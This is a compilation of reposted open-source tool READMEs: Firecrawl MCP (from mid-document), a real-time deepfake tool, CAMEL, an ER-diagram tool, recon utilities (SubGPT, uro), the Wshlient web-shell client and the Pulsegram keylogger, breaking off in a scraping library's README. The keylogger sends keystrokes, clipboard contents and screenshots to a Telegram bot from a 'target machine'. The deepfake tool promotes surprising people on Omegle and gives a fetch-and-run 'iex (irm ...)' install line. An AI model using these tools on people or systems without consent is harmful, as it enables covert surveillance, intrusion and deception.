    Start an asynchronous crawl with advanced options.

    {
    "name": "firecrawl_crawl",
    "arguments": {
    "url": "https://example.com",
    "maxDepth": 2,
    "limit": 100,
    "allowExternalLinks": false,
    "deduplicateSimilarURLs": true
    }
    }

    6. Extract Tool (firecrawl_extract)

    Extract structured information from web pages using LLM capabilities. Supports both cloud AI and self-hosted LLM extraction.

    {
    "name": "firecrawl_extract",
    "arguments": {
    "urls": ["https://example.com/page1", "https://example.com/page2"],
    "prompt": "Extract product information including name, price, and description",
    "systemPrompt": "You are a helpful assistant that extracts product information",
    "schema": {
    "type": "object",
    "properties": {
    "name": { "type": "string" },
    "price": { "type": "number" },
    "description": { "type": "string" }
    },
    "required": ["name", "price"]
    },
    "allowExternalLinks": false,
    "enableWebSearch": false,
    "includeSubdomains": false
    }
    }

    Example response:

    {
    "content": [
    {
    "type": "text",
    "text": {
    "name": "Example Product",
    "price": 99.99,
    "description": "This is an example product description"
    }
    }
    ],
    "isError": false
    }

    Extract Tool Options:

    • urls: Array of URLs to extract information from
    • prompt: Custom prompt for the LLM extraction
    • systemPrompt: System prompt to guide the LLM
    • schema: JSON schema for structured data extraction
    • allowExternalLinks: Allow extraction from external links
    • enableWebSearch: Enable web search for additional context
    • includeSubdomains: Include subdomains in extraction

    When using a self-hosted instance, the extraction will use your configured LLM. For cloud API, it uses Firecrawl's managed LLM service.

    7. Deep Research Tool (firecrawl_deep_research)

    Conduct deep web research on a query using intelligent crawling, search, and LLM analysis.

    {
    "name": "firecrawl_deep_research",
    "arguments": {
    "query": "how does carbon capture technology work?",
    "maxDepth": 3,
    "timeLimit": 120,
    "maxUrls": 50
    }
    }

    Arguments:

    • query (string, required): The research question or topic to explore.
    • maxDepth (number, optional): Maximum recursive depth for crawling/search (default: 3).
    • timeLimit (number, optional): Time limit in seconds for the research session (default: 120).
    • maxUrls (number, optional): Maximum number of URLs to analyze (default: 50).

    Returns:

    • Final analysis generated by an LLM based on research. (data.finalAnalysis)
    • May also include structured activities and sources used in the research process.

    8. Generate LLMs.txt Tool (firecrawl_generate_llmstxt)

    Generate a standardized llms.txt (and optionally llms-full.txt) file for a given domain. This file defines how large language models should interact with the site.

    {
    "name": "firecrawl_generate_llmstxt",
    "arguments": {
    "url": "https://example.com",
    "maxUrls": 20,
    "showFullText": true
    }
    }

    Arguments:

    • url (string, required): The base URL of the website to analyze.
    • maxUrls (number, optional): Max number of URLs to include (default: 10).
    • showFullText (boolean, optional): Whether to include llms-full.txt contents in the response.

    Returns:

    • Generated llms.txt file contents and optionally the llms-full.txt (data.llmstxt and/or data.llmsfulltxt)

    Logging System

    The server includes comprehensive logging:

    • Operation status and progress
    • Performance metrics
    • Credit usage monitoring
    • Rate limit tracking
    • Error conditions

    Example log messages:

    [INFO] Firecrawl MCP Server initialized successfully
    [INFO] Starting scrape for URL: https://example.com
    [INFO] Batch operation queued with ID: batch_1
    [WARNING] Credit usage has reached warning threshold
    [ERROR] Rate limit exceeded, retrying in 2s...

    Error Handling

    The server provides robust error handling:

    • Automatic retries for transient errors
    • Rate limit handling with backoff
    • Detailed error messages
    • Credit usage warnings
    • Network resilience

    Example error response:

    {
    "content": [
    {
    "type": "text",
    "text": "Error: Rate limit exceeded. Retrying in 2 seconds..."
    }
    ],
    "isError": true
    }

    Development

    # Install dependencies
    npm install

    # Build
    npm run build

    # Run tests
    npm test

    Contributing

    1. Fork the repository
    2. Create your feature branch
    3. Run tests: npm test
    4. Submit a pull request

    License

    MIT License - see LICENSE file for details



    Deep-Live-Cam - Real Time Face Swap And One-Click Video Deepfake With Only A Single Image

    By: Unknown


    Real-time face swap and video deepfake with a single click and only a single image.

    Disclaimer

    This deepfake software is designed to be a productive tool for the AI-generated media industry. It can assist artists in animating custom characters, creating engaging content, and even using models for clothing design.

    We are aware of the potential for unethical applications and are committed to preventative measures. A built-in check prevents the program from processing inappropriate media (nudity, graphic content, sensitive material like war footage, etc.). We will continue to develop this project responsibly, adhering to the law and ethics. We may shut down the project or add watermarks if legally required.

    • Ethical Use: Users are expected to use this software responsibly and legally. If using a real person's face, obtain their consent and clearly label any output as a deepfake when sharing online.

    • Content Restrictions: The software includes built-in checks to prevent processing inappropriate media, such as nudity, graphic content, or sensitive material.

    • Legal Compliance: We adhere to all relevant laws and ethical guidelines. If legally required, we may shut down the project or add watermarks to the output.

    • User Responsibility: We are not responsible for end-user actions. Users must ensure their use of the software aligns with ethical standards and legal requirements.

    By using this software, you agree to these terms and commit to using it in a manner that respects the rights and dignity of others.

    Users are expected to use this software responsibly and legally. If using a real person's face, obtain their consent and clearly label any output as a deepfake when sharing online. We are not responsible for end-user actions.


    TLDR; Live Deepfake in just 3 Clicks

    real time face swap and one-click video deepfake with only a single image (3) 1. Select a face 2. Select which camera to use 3. Press live!

    Features & Uses - Everything is in real-time

    Mouth Mask

    Retain your original mouth for accurate movement using Mouth Mask

    real time face swap and one-click video deepfake with only a single image (4)

    Face Mapping

    Use different faces on multiple subjects simultaneously

    real time face swap and one-click video deepfake with only a single image (5)

    Your Movie, Your Face

    Watch movies with any face in real-time

    real time face swap and one-click video deepfake with only a single image (6)

    Live Show

    Run Live shows and performances

    real time face swap and one-click video deepfake with only a single image (7)

    Memes

    Create Your Most Viral Meme Yet

    real time face swap and one-click video deepfake with only a single image (8)
    Created using Many Faces feature in Deep-Live-Cam

    Omegle

    Surprise people on Omegle

    Installation (Manual)

    Please be aware that the installation requires technical skills and is not for beginners. Consider downloading the prebuilt version.

    Click to see the process ### Installation This is more likely to work on your computer but will be slower as it utilizes the CPU. **1. Set up Your Platform** - Python (3.10 recommended) - pip - git - [ffmpeg](https://www.youtube.com/watch?v=OlNWCpFdVMA) - ```iex (irm ffmpeg.tc.ht)``` - [Visual Studio 2022 Runtimes (Windows)](https://visualstudio.microsoft.com/visual-cpp-build-tools/) **2. Clone the Repository**
    git clone https://github.com/hacksider/Deep-Live-Cam.git
    cd Deep-Live-Cam
    **3. Download the Models** 1. [GFPGANv1.4](https://huggingface.co/hacksider/deep-live-cam/resolve/main/GFPGANv1.4.pth) 2. [inswapper\_128\_fp16.onnx](https://huggingface.co/hacksider/deep-live-cam/resolve/main/inswapper_128_fp16.onnx) Place these files in the "**models**" folder. **4. Install Dependencies** We highly recommend using a `venv` to avoid issues. For Windows:
    python -m venv venv
    venv\Scripts\activate
    pip install -r requirements.txt
    **For macOS:** Apple Silicon (M1/M2/M3) requires specific setup:
    # Install Python 3.10 (specific version is important)
    brew install python@3.10

    # Install tkinter package (required for the GUI)
    brew install python-tk@3.10

    # Create and activate virtual environment with Python 3.10
    python3.10 -m venv venv
    source venv/bin/activate

    # Install dependencies
    pip install -r requirements.txt
    ** In case something goes wrong and you need to reinstall the virtual environment **
    # Deactivate the virtual environment
    rm -rf venv

    # Reinstall the virtual environment
    python -m venv venv
    source venv/bin/activate

    # install the dependencies again
    pip install -r requirements.txt
    **Run:** If you don't have a GPU, you can run Deep-Live-Cam using `python run.py`. Note that initial execution will download models (~300MB). ### GPU Acceleration **CUDA Execution Provider (Nvidia)** 1. Install [CUDA Toolkit 11.8.0](https://developer.nvidia.com/cuda-11-8-0-download-archive) 2. Install dependencies:
    pip uninstall onnxruntime onnxruntime-gpu
    pip install onnxruntime-gpu==1.16.3
    3. Usage:
    python run.py --execution-provider cuda
    **CoreML Execution Provider (Apple Silicon)** Apple Silicon (M1/M2/M3) specific installation: 1. Make sure you've completed the macOS setup above using Python 3.10. 2. Install dependencies:
    pip uninstall onnxruntime onnxruntime-silicon
    pip install onnxruntime-silicon==1.13.1
    3. Usage (important: specify Python 3.10):
    python3.10 run.py --execution-provider coreml
    **Important Notes for macOS:** - You **must** use Python 3.10, not newer versions like 3.11 or 3.13 - Always run with `python3.10` command not just `python` if you have multiple Python versions installed - If you get error about `_tkinter` missing, reinstall the tkinter package: `brew reinstall python-tk@3.10` - If you get model loading errors, check that your models are in the correct folder - If you encounter conflicts with other Python versions, consider uninstalling them: ```bash # List all installed Python versions brew list | grep python # Uninstall conflicting versions if needed brew uninstall --ignore-dependencies python@3.11 python@3.13 # Keep only Python 3.10 brew cleanup ``` **CoreML Execution Provider (Apple Legacy)** 1. Install dependencies:
    pip uninstall onnxruntime onnxruntime-coreml
    pip install onnxruntime-coreml==1.13.1
    2. Usage:
    python run.py --execution-provider coreml
    **DirectML Execution Provider (Windows)** 1. Install dependencies:
    pip uninstall onnxruntime onnxruntime-directml
    pip install onnxruntime-directml==1.15.1
    2. Usage:
    python run.py --execution-provider directml
    **OpenVINOβ„’ Execution Provider (Intel)** 1. Install dependencies:
    pip uninstall onnxruntime onnxruntime-openvino
    pip install onnxruntime-openvino==1.15.0
    2. Usage:
    python run.py --execution-provider openvino

    Usage

    1. Image/Video Mode

    • Execute python run.py.
    • Choose a source face image and a target image/video.
    • Click "Start".
    • The output will be saved in a directory named after the target video.

    2. Webcam Mode

    • Execute python run.py.
    • Select a source face image.
    • Click "Live".
    • Wait for the preview to appear (10-30 seconds).
    • Use a screen capture tool like OBS to stream.
    • To change the face, select a new source image.

    Tips and Tricks

    Check out these helpful guides to get the most out of Deep-Live-Cam:

    Visit our official blog for more tips and tutorials.

    Command Line Arguments (Unmaintained)

    options:
    -h, --help show this help message and exit
    -s SOURCE_PATH, --source SOURCE_PATH select a source image
    -t TARGET_PATH, --target TARGET_PATH select a target image or video
    -o OUTPUT_PATH, --output OUTPUT_PATH select output file or directory
    --frame-processor FRAME_PROCESSOR [FRAME_PROCESSOR ...] frame processors (choices: face_swapper, face_enhancer, ...)
    --keep-fps keep original fps
    --keep-audio keep original audio
    --keep-frames keep temporary frames
    --many-faces process every face
    --map-faces map source target faces
    --mouth-mask mask the mouth region
    --video-encoder {libx264,libx265,libvpx-vp9} adjust output video encoder
    --video-quality [0-51] adjust output video quality
    --live-mirror the live camera display as you see it in the front-facing camera frame
    --live-resizable the live camera frame is resizable
    --max-memory MAX_MEMORY maximum amount of RAM in GB
    --execution-provider {cpu} [{cpu} ...] available execution provider (choices: cpu, ...)
    --execution-threads EXECUTION_THREADS number of execution threads
    -v, --version show program's version number and exit

    Looking for a CLI mode? Using the -s/--source argument will make the run program in cli mode.

    Press

    We are always open to criticism and are ready to improve, that's why we didn't cherry-pick anything.

    Credits

    Contributions

    real time face swap and one-click video deepfake with only a single image (10)

    Stars to the Moon πŸš€

    real time face swap and one-click video deepfake with only a single image (11)



    CAMEL - The First And The Best Multi-Agent Framework. Finding The Scaling Law Of Agents

    By: Unknown


    🐫 CAMEL is an open-source community dedicated to finding the scaling laws of agents. We believe that studying these agents on a large scale offers valuable insights into their behaviors, capabilities, and potential risks. To facilitate research in this field, we implement and support various types of agents, tasks, prompts, models, and simulated environments.


    CAMEL Framework Design Principles

    🧬 Evolvability

    The framework enables multi-agent systems to continuously evolve by generating data and interacting with environments. This evolution can be driven by reinforcement learning with verifiable rewards or supervised learning.

    πŸ“ˆΒ Scalability

    The framework is designed to support systems with millions of agents, ensuring efficient coordination, communication, and resource management at scale.

    πŸ’ΎΒ Statefulness

    Agents maintain stateful memory, enabling them to perform multi-step interactions with environments and efficiently tackle sophisticated tasks.

    πŸ“–Β Code-as-Prompt

    Every line of code and comment serves as a prompt for agents. Code should be written clearly and readably, ensuring both humans and agents can interpret it effectively.


    Why Use CAMEL for Your Research?

    We are a community-driven research collective comprising over 100 researchers dedicated to advancing frontier research in Multi-Agent Systems. Researchers worldwide choose CAMEL for their studies based on the following reasons.

    βœ… Large-Scale Agent System Simulate up to 1M agents to study emergent behaviors and scaling laws in complex, multi-agent environments.
    βœ… Dynamic Communication Enable real-time interactions among agents, fostering seamless collaboration for tackling intricate tasks.
    βœ… Stateful Memory Equip agents with the ability to retain and leverage historical context, improving decision-making over extended interactions.
    βœ… Support for Multiple Benchmarks Utilize standardized benchmarks to rigorously evaluate agent performance, ensuring reproducibility and reliable comparisons.
    βœ… Support for Different Agent Types Work with a variety of agent roles, tasks, models, and environments, supporting interdisciplinary experiments and diverse research applications.
    βœ… Data Generation and Tool Integration Automate the creation of large-scale, structured datasets while seamlessly integrating with multiple tools, streamlining synthetic data generation and research workflows.


    What Can You Build With CAMEL?

    1. Data Generation

    2. Task Automation

    3. World Simulation


    Quick Start

    Installing CAMEL is a breeze thanks to its availability on PyPI. Simply open your terminal and run:

    pip install camel-ai

    Starting with ChatAgent

    This example demonstrates how to create a ChatAgent using the CAMEL framework and perform a search query using DuckDuckGo.

    1. Install the tools package:

    bash pip install 'camel-ai[web_tools]'

    1. Set up your OpenAI API key:

    bash export OPENAI_API_KEY='your_openai_api_key'

    1. Run the following Python code:

    ```python from camel.models import ModelFactory from camel.types import ModelPlatformType, ModelType from camel.agents import ChatAgent from camel.toolkits import SearchToolkit

    model = ModelFactory.create( model_platform=ModelPlatformType.OPENAI, model_type=ModelType.GPT_4O, model_config_dict={"temperature": 0.0}, )

    search_tool = SearchToolkit().search_duckduckgo

    agent = ChatAgent(model=model, tools=[search_tool])

    response_1 = agent.step("What is CAMEL-AI?") print(response_1.msgs[0].content) # CAMEL-AI is the first LLM (Large Language Model) multi-agent framework # and an open-source community focused on finding the scaling laws of agents. # ...

    response_2 = agent.step("What is the Github link to CAMEL framework?") print(response_2.msgs[0].content) # The GitHub link to the CAMEL framework is # https://github.com/camel-ai/camel. ```

    For more detailed instructions and additional configuration options, check out the installation section.

    After running, you can explore our CAMEL Tech Stack and Cookbooks at docs.camel-ai.org to build powerful multi-agent systems.

    We provide a 🐫 CAMEL: The first and the best multi-agent framework. Finding the Scaling Law of Agents.https://www.camel-ai.org (11) demo showcasing a conversation between two ChatGPT agents playing roles as a python programmer and a stock trader collaborating on developing a trading bot for stock market.

    Explore different types of agents, their roles, and their applications.

    Seeking Help

    Please reach out to us on CAMEL discord if you encounter any issue set up CAMEL.


    Tech Stack

    Key Modules

    Core components and utilities to build, operate, and enhance CAMEL-AI agents and societies.

    Module Description
    Agents Core agent architectures and behaviors for autonomous operation.
    Agent Societies Components for building and managing multi-agent systems and collaboration.
    Data Generation Tools and methods for synthetic data creation and augmentation.
    Models Model architectures and customization options for agent intelligence.
    Tools Tools integration for specialized agent tasks.
    Memory Memory storage and retrieval mechanisms for agent state management.
    Storage Persistent storage solutions for agent data and states.
    Benchmarks Performance evaluation and testing frameworks.
    Interpreters Code and command interpretation capabilities.
    Data Loaders Data ingestion and preprocessing tools.
    Retrievers Knowledge retrieval and RAG components.
    Runtime Execution environment and process management.
    Human-in-the-Loop Interactive components for human oversight and intervention.
    ---

    Research

    We believe that studying these agents on a large scale offers valuable insights into their behaviors, capabilities, and potential risks.

    Explore our research projects:

    Research with US

    We warmly invite you to use CAMEL for your impactful research.

    Rigorous research takes time and resources. We are a community-driven research collective with 100+ researchers exploring the frontier research of Multi-agent Systems. Join our ongoing projects or test new ideas with us, reach out via email for more information.

    🐫 CAMEL: The first and the best multi-agent framework. Finding the Scaling Law of Agents.https://www.camel-ai.org (17)


    Synthetic Datasets

    1. Utilize Various LLMs as Backends

    For more details, please see our Models Documentation.

    Data (Hosted on Hugging Face)

    Dataset Chat format Instruction format Chat format (translated)
    AI Society Chat format Instruction format Chat format (translated)
    Code Chat format Instruction format x
    Math Chat format x x
    Physics Chat format x x
    Chemistry Chat format x x
    Biology Chat format x x

    2. Visualizations of Instructions and Tasks

    Dataset Instructions Tasks
    AI Society Instructions Tasks
    Code Instructions Tasks
    Misalignment Instructions Tasks


    Cookbooks (Usecases)

    Practical guides and tutorials for implementing specific functionalities in CAMEL-AI agents and societies.

    1. Basic Concepts

    Cookbook Description
    Creating Your First Agent A step-by-step guide to building your first agent.
    Creating Your First Agent Society Learn to build a collaborative society of agents.
    Message Cookbook Best practices for message handling in agents.

    2. Advanced Features

    Cookbook Description
    Tools Cookbook Integrating tools for enhanced functionality.
    Memory Cookbook Implementing memory systems in agents.
    RAG Cookbook Recipes for Retrieval-Augmented Generation.
    Graph RAG Cookbook Leveraging knowledge graphs with RAG.
    Track CAMEL Agents with AgentOps Tools for tracking and managing agents in operations.

    3. Model Training & Data Generation

    Cookbook Description
    Data Generation with CAMEL and Finetuning with Unsloth Learn how to generate data with CAMEL and fine-tune models effectively with Unsloth.
    Data Gen with Real Function Calls and Hermes Format Explore how to generate data with real function calls and the Hermes format.
    CoT Data Generation and Upload Data to Huggingface Uncover how to generate CoT data with CAMEL and seamlessly upload it to Huggingface.
    CoT Data Generation and SFT Qwen with Unsolth Discover how to generate CoT data using CAMEL and SFT Qwen with Unsolth, and seamlessly upload your data and model to Huggingface.

    4. Multi-Agent Systems & Applications

    Cookbook Description
    Role-Playing Scraper for Report & Knowledge Graph Generation Create role-playing agents for data scraping and reporting.
    Create A Hackathon Judge Committee with Workforce Building a team of agents for collaborative judging.
    Dynamic Knowledge Graph Role-Playing: Multi-Agent System with dynamic, temporally-aware knowledge graphs Builds dynamic, temporally-aware knowledge graphs for financial applications using a multi-agent system. It processes financial reports, news articles, and research papers to help traders analyze data, identify relationships, and uncover market insights. The system also utilizes diverse and optional element node deduplication techniques to ensure data integrity and optimize graph structure for financial decision-making.
    Customer Service Discord Bot with Agentic RAG Learn how to build a robust customer service bot for Discord using Agentic RAG.
    Customer Service Discord Bot with Local Model Learn how to build a robust customer service bot for Discord using Agentic RAG which supports local deployment.

    5. Data Processing

    Cookbook Description
    Video Analysis Techniques for agents in video data analysis.
    3 Ways to Ingest Data from Websites with Firecrawl Explore three methods for extracting and processing data from websites using Firecrawl.
    Create AI Agents that work with your PDFs Learn how to create AI agents that work with your PDFs using Chunkr and Mistral AI.


    Contributing to CAMEL

    For those who'd like to contribute code, we appreciate your interest in contributing to our open-source initiative. Please take a moment to review our contributing guidelines to get started on a smooth collaboration journey.πŸš€

    We also welcome you to help CAMEL grow by sharing it on social media, at events, or during conferences. Your support makes a big difference!


    Community & Contact

    For more information please contact camel-ai@eigent.ai

    • GitHub Issues: Report bugs, request features, and track development. Submit an issue

    • Discord: Get real-time support, chat with the community, and stay updated. Join us

    • X (Twitter): Follow for updates, AI insights, and key announcements. Follow us

    • Ambassador Project: Advocate for CAMEL-AI, host events, and contribute content. Learn more


    Citation

    @inproceedings{li2023camel,
    title={CAMEL: Communicative Agents for "Mind" Exploration of Large Language Model Society},
    author={Li, Guohao and Hammoud, Hasan Abed Al Kader and Itani, Hani and Khizbullin, Dmitrii and Ghanem, Bernard},
    booktitle={Thirty-seventh Conference on Neural Information Processing Systems},
    year={2023}
    }

    Acknowledgment

    Special thanks to Nomic AI for giving us extended access to their data set exploration tool (Atlas).

    We would also like to thank Haya Hammoud for designing the initial logo of our project.

    We implemented amazing research ideas from other works for you to build, compare and customize your agents. If you use any of these modules, please kindly cite the original works: - TaskCreationAgent, TaskPrioritizationAgent and BabyAGI from Nakajima et al.: Task-Driven Autonomous Agent. [Example]

    License

    The source code is licensed under Apache 2.0.




    Liam - Automatically Generates Beautiful And Easy-To-Read ER Diagrams From Your Database

    By: Unknown

    Automatically generates beautiful and easy-to-read ER diagrams from your database. (1)Β 

    Automatically generates beautiful and easy-to-read ER diagrams from your database.

    Automatically generates beautiful and easy-to-read ER diagrams from your database. (8)

    Website β€’ Documentation β€’ Roadmap

    What's Liam ERD?

    Liam ERD generates beautiful, interactive ER diagrams from your database. Whether you're working on public or private repositories, Liam ERD helps you visualize complex schemas with ease.

    • Beautiful UI & Interactive: A clean design and intuitive features (like panning, zooming, and filtering) make it easy to understand even the most complex databases.
    • Simple Reverse Engineering: Seamlessly turn your existing database schemas into clear, readable diagrams.
    • Effortless Setup: Get started with zero configurationβ€”just provide your schema, and you're good to go.
    • High Performance: Optimized for both small and large projects, easily handling 100+ tables.
    • Fully Open-Source: Contribute to the project and shape Liam ERD to fit your needs.

    Quick Start

    For Public Repositories

    Insert liambx.com/erd/p/ into your schema file's URL:

    # Original: https://github.com/user/repo/blob/master/db/schema.rb
    # Modified: https://liambx.com/erd/p/github.com/user/repo/blob/master/db/schema.rb
    πŸ‘Ύ^^^^^^^^^^^^^^^^πŸ‘Ύ

    For Private Repositories

    Run the interactive setup:

    npx @liam-hq/cli init

    If you find this project helpful, please give it a star! ⭐
    Your support helps us reach a wider audience and continue development.

    Documentation

    Check out the full documentation on the website.

    Roadmap

    See what we're working on and what's coming next on our roadmap.



    SubGPT - Find Subdomains With GPT, For Free

    By: Unknown


    SubGPT looks at subdomains you have already discovered for a domain and uses BingGPT to find more. Best part? It's free!

    The following subdomains were found by this tool with these 30 subdomains as input.

    call-prompts-staging.example.com
    dclb02-dca1.prod.example.com
    activedirectory-sjc1.example.com
    iadm-staging.example.com
    elevatenetwork-c.example.com

    If you like my work, you can support me with as little as $1, here :)


    Install & Configuration

    Installation

    • with pip (recommended): pip install subgpt
    • from github: git clone https://github.com/s0md3v/SubGPT && cd SubGPT && python setup.py install

    Getting Bing Cookie

    1. Install the cookie editor extension (Chrome, Firefox)
    2. Visit bing.com, make sure you are logged in.
    3. Open the extension and copy your cookie using the "export" button
    4. Paste it in a file e.g. cookies.json
    5. All set!

    Note: Any issues regarding BingGPT itself should be reported EdgeGPT, not here.

    Using SubGPT

    It is supposed to be used after you have discovered some subdomains using all other methods. The standard way to run SubGPT is as follows:

    subgpt -i input.txt -o output.txt -c /path/to/cookies.json

    If you don't specify an output file, the output will be shown in your terminal (stdout) instead.

    To generate subdomains and not resolve them, use the --dont-resolve option. It's a great way to see all subdomains generated by SubGPT and/or use your own resolver on them.

    Important

    1. Make sure your subdomains list only has subdomains from one domain. Each line in your file should contain one subdomain and nothing else.
    2. Sometimes your cookie will expire if you visit bing.com often. In that case, just export and save it again.
    3. SubGPT looks at A/CNAME records to determine whether a subdomain exists. It can also detect wildcard on first-level subdomains and handle it automatically. You can go through the code to see how its implemented if it concerns you.
    4. It can't replace traditional sub-generators like gotator, alterx, dnsgen etc. However, being powered by AI helps it to generate subdomains that these traditional tools can't.
    5. It is slow for obvious reasons. It takes like 45 seconds for every 80 subdomains.
    6. It is subject to Bing's daily limit. Selectively run this tool, don't run it blindly.


    Uro - Declutters Url Lists For Crawling/Pentesting

    By: Unknown


    Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that.

    It doesn't make any http requests to the URLs and removes: - incremental urls e.g. /page/1/ and /page/2/ - blog posts and similar human written content e.g. /posts/a-brief-history-of-time - urls with same path but parameter value difference e.g. /page.php?id=1 and /page.php?id=2 - images, js, css and other "useless" files


    Installation

    The recommended way to install uro is as follows:

    pipx install uro

    Note: If you are using an older version of python, use pip instead of pipx

    Basic Usage

    The quickest way to include uro in your workflow is to feed it data through stdin and print it to your terminal.

    cat urls.txt | uro

    Advanced usage

    Reading urls from a file (-i/--input)

    uro -i input.txt

    Writing urls to a file (-o/--output)

    If the file already exists, uro will not overwrite the contents. Otherwise, it will create a new file.

    uro -i input.txt -o output.txt

    Whitelist (-w/--whitelist)

    uro will ignore all other extensions except the ones provided.

    uro -w php asp html

    Note: Extensionless pages e.g. /books/1 will still be included. To remove them too, use --filter hasext.

    Blacklist (-b/--blacklist)

    uro will ignore the given extensions.

    uro -b jpg png js pdf

    Note: uro has a list of "useless" extensions which it removes by default; that list will be overridden by whatever extensions you provide through blacklist option. Extensionless pages e.g. /books/1 will still be included. To remove them too, use --filter hasext.

    Filters (-f/--filters)

    For granular control, uro supports the following filters:

    1. hasparams: only output urls that have query parameters e.g. http://example.com/page.php?id=
    2. noparams: only output urls that have no query parameters e.g. http://example.com/page.php
    3. hasext: only output urls that have extensions e.g. http://example.com/page.php
    4. noext: only output urls that have no extensions e.g. http://example.com/page
    5. allexts: don't remove any page based on extension e.g. keep .jpg which would be removed otherwise
    6. keepcontent: keep human written content e.g. blogs.
    7. keepslash: don't remove trailing slash from urls e.g. http://example.com/page/
    8. vuln: only output urls with parameters that are know to be vulnerable. More info.

    Example: uro --filters hasexts hasparams



    Wshlient - A Simple Tool To Interact With Web Shells And Command Injection Vulnerabilities

    By: Unknown


    Web Shell Client

    Description & Demo

    Wshlient is a web shell client designed to be pretty simple yet versatile. One just need to create a text file containing an HTTP request and inform where Wshlient inject the commands, then you can enjoy a shell.


    In the case the above video does not works for you:

    Installation

    Out of python's included batteries Wshclient only uses requests. Just install it directly or using requirements.txt:

    $ git clone https://github.com/gildasio/wshlient
    $ cd wshlient
    $ pip install -r requirements.txt
    $ ./wshlient.py -h

    Alternatively you can also create a symbolic link in your $PATH to use it directly anywhere in the system:

    $ ln -s $PWD/wshlient.py /usr/local/bin/wshlient

    Usage

    $ ./wshlient.py -h
    usage: wshlient.py [-h] [-d] [-i] [-ne] [-it INJECTION_TOKEN] [-st START_TOKEN] [-et END_TOKEN] req

    positional arguments:
    req File containing raw http request

    options:
    -h, --help show this help message and exit
    -d, --debug Enable debug output
    -i, --ifs Replaces whitespaces with $IFS
    -ne, --no-url-encode Disable command URL encode
    -it INJECTION_TOKEN, --injection-token INJECTION_TOKEN
    Token to be replaced by commands (default: INJECT)
    -st START_TOKEN, --start-token START_TOKEN
    Token that marks the output beginning
    -et END_TOKEN, --end-token END_TOKEN
    Token that marks the output ending

    Contributing

    You can contribute to Wshlient by:

    • Using and sharing it :)
    • Firing a bug / issue
    • Suggesting interesting features
    • Coding

    Feel free to do it, but keep in mind to keep it simple.



    Pulsegram - Integrated Keylogger With Telegram

    By: Unknown

    Integrated keylogger with telegram (1)


    PulseGram is a keylogger integrated with a Telegram bot. It is a monitoring tool that captures keystrokes, clipboard content, and screenshots, sending all the information to a configured Telegram bot. It is designed for use in adversary simulations and security testing contexts.

    ⚠️ Warning: This project is for educational purposes and security testing in authorized environments only. Unauthorized use of this tool may be illegal and is prohibited.

    Β 

      _____       _           _____                     
    | __ \ | | / ____|
    | |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
    | ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
    | | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
    |_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|

    Author: Omar Salazar
    Version: V.1.0

    Features

    • Keystroke capture: Records keystrokes and sends them to the Telegram bot.
    • Clipboard monitoring: Sends the copied clipboard content in real-time.
    • Periodic screenshots: Takes screenshots and sends them to the bot.
    • Error logs: Logs errors in an errors_log.txt file to facilitate debugging.

    Integrated keylogger with telegram (1)

    Installation

    1. Clone the repository: bash git clone https://github.com/TaurusOmar/pulsegram cd pulsegram

    2. Install dependencies: Make sure you have Python 3 and pip installed. Then run: bash pip install -r requirements.txt

    3. Set up the Telegram bot token: Create a bot on Telegram using BotFather. Copy your token and paste it into the code in main.py where the bot is initialized.

    4. Copy yout ChatID chat_id="131933xxxx" in keylogger.py

    Usage

    Run the tool on the target machine with:

    python pulsegram.py

    Modules

    pulsegram.py

    This is the main file of the tool, which initializes the bot and launches asynchronous tasks to capture and send data.

    Bot(token="..."): Initializes the Telegram bot with your personal token.
    asyncio.gather(...): Launches multiple tasks to execute clipboard monitoring, screenshot capture, and keystroke logging.
    log_error: In case of errors, logs them in an errors_log.txt file.

    helpers.py

    This module contains auxiliary functions that assist the overall operation of the tool.

    log_error(): Logs any errors in errors_log.txt with a date and time format.
    get_clipboard_content(): Captures the current content of the clipboard.
    capture_screenshot(): Takes a screenshot and temporarily saves it to send it to the Telegram bot.

    keylogger.py

    This module handles keylogging, clipboard monitoring, and screenshot captures.

    capture_keystrokes(bot): Asynchronous function that captures keystrokes and sends the information to the Telegram bot.
    send_keystrokes_to_telegram(bot): This function sends the accumulated keystrokes to the bot.
    capture_screenshots(bot): Periodically captures an image of the screen and sends it to the bot.
    log_clipboard(bot): Sends the contents of the clipboard to the bot.

    Action Configurations

    Change the capture and information sending time interval.

    async def send_keystrokes_to_telegram(bot):
    global keystroke_buffer
    while True:
    await asyncio.sleep(1) # Change the key sending interval
    async def capture_screenshots(bot):
    while True:
    await asyncio.sleep(30) # Change the screenshot capture interval
    try:
    async def log_clipboard(bot):
    previous_content = ""
    while True:
    await asyncio.sleep(5) # Change the interval to check for clipboard changes
    current_content = get_clipboard_content()

    Security Warning

    This project is for educational purposes only and for security testing in your own environments or with express authorization. Unauthorized use of this tool may violate local laws and privacy policies.

    Contributions

    Contributions are welcome. Please ensure to respect the code of conduct when collaborating.

    License

    This project is licensed under the MIT License.



    Scrapling - An Undetectable, Powerful, Flexible, High-Performance Python Library That Makes Web Scraping Simple And Easy Again!

    By: Unknown


    Dealing with failing web scrapers due to anti-bot protections or website changes? Meet Scrapling.

    Scrapling is a high-performance, intelligent web scraping library for Python that automatically adapts to website changes while significantly outperforming popular alternatives. For both beginners and experts, Scrapling provides powerful features while maintaining simplicity.

    >> from scrapling.defaults import Fetcher, AsyncFetcher, StealthyFetcher, PlayWrightFetcher
    # Fetch websites' source under the radar!
    >> page = StealthyFetcher.fetch('https://example.com', headless=True, network_idle=True)
    >> print(page.status)
    200
    >> products = page.css('.product', auto_save=True) # Scrape data that survives website design changes!
    >> # Later, if the website structure changes, pass `auto_match=True`
    >> products = page.css('.product', auto_match=True) # and Scrapling still finds them!

    Key Features

    Fetch websites as you prefer with async support

    • HTTP Requests: Fast and stealthy HTTP requests with the Fetcher class.
    • Dynamic Loading & Automation: Fetch dynamic websites with the PlayWrightFetcher class through your real browser, Scrapling's stealth mode, Playwright's Chrome browser, or NSTbrowser's browserless!
    • Anti-bot Protections Bypass: Easily bypass protections with StealthyFetcher and PlayWrightFetcher classes.

    Adaptive Scraping

    • πŸ”„ Smart Element Tracking: Relocate elements after website changes, using an intelligent similarity system and integrated storage.
    • 🎯 Flexible Selection: CSS selectors, XPath selectors, filters-based search, text search, regex search and more.
    • πŸ” Find Similar Elements: Automatically locate elements similar to the element you found!
    • 🧠 Smart Content Scraping: Extract data from multiple websites without specific selectors using Scrapling powerful features.

    High Performance

